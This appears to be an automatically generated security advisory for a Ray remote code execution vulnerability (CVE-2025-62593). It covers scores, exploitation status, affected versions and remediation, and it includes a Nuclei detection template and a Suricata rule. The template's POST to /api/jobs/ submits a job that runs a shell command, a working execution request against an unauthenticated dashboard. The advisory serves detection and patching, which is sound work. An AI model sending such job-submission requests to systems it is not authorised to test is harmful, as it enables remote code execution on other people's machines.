VULNpocalypse

CVE-2025-62593: Ray-Project Ray Code Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Ray is an AI compute engine. Prior to version 2.52.0, developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari. This vulnerability is due to an insufficient guard against browser-based attacks, as the current defense uses the User-Agent header starting with the string “Mozilla” as a defense mechanism. This defense is insufficient as the fetch specification allows the User-Agent header to be modified. Combined with a DNS rebinding attack against the browser, and this vulnerability is exploitable against a developer running Ray who inadvertently visits a malicious website, or is served a malicious advertisement (malvertising). This issue has been patched in version 2.52.0.

Description quoted from the CVE record (assigned by GitHub_M, published 2025-11-26).

Weakness: CWE-94: Improper Control of Generation of Code (‘Code Injection’); CWE-352: Cross-Site Request Forgery (CSRF)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and a user must take an action. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-08-17
US federal deadline
2026-08-20
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-14769, CNNVD-202511-2831, EUVD-2025-199754, GHSA-q279-jhrf-cc6v

VEDAS cluster: VEDAS:CHOOSECHEESE

Exploit Observer links 8 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (8)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (7)

Catalogue entries, not exploit evidence.

81 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.602
very likely to be attacked soon
VEDAS
0.987
strong exploit evidence
On CISA KEV
Yes, since 2026-08-17
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2026-08-17CVE-2025-62593 EPSS over time2025-122026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2026-08-17CVE-2025-62593 VEDAS over time2025-122026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 9 days before CISA confirmed attacks.

Who is affected

ProductAffectedNot affected
ray-project rayversion < 2.52.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: anyscale ray, anyscale_inc ray, pypi ray.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Ray - Code Injection

Ray is an AI compute engine. Prior to version 2.52.0, developers working with Ray as a development tool can be exploited via a critical RCE vulnerability exploitable via Firefox and Safari.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /, POST /api/jobs/, GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}}); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-62593.yaml
Show the template (74 lines)
yaml
id: CVE-2025-62593

info:
  name: Ray - Code Injection
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Ray is an AI compute engine. Prior to version 2.52.0, developers working with Ray as a development tool can be
    exploited via a critical RCE vulnerability exploitable via Firefox and Safari.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-62593&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=ray&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-62593
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2025,rce,ray,kev,vkev
flow: http(1) && http(2)

variables:
  jobid: "1Job_{{rand_base(6)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '<title>Ray Dashboard'
          - '/css/main.388a904b.css'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/jobs/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"entrypoint":"id","submission_id":"{{jobid}}"}

      - |
        GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'uid=\d+'

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: jobid
        regex:
          - 'uid=(\d+)'

CVE-2025-62593.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-62593 Ray - Code Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-62593 Ray - Code Injection"; flow:established,to_server; http.uri; content:"/api/jobs/"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-62593; reference:url,https://www.exploit.observer/?keyword=CVE-2025-62593&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=ray&match=exact; sid:1011536; rev:1;)

CVE-2025-62593.rules on GitHub

References

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.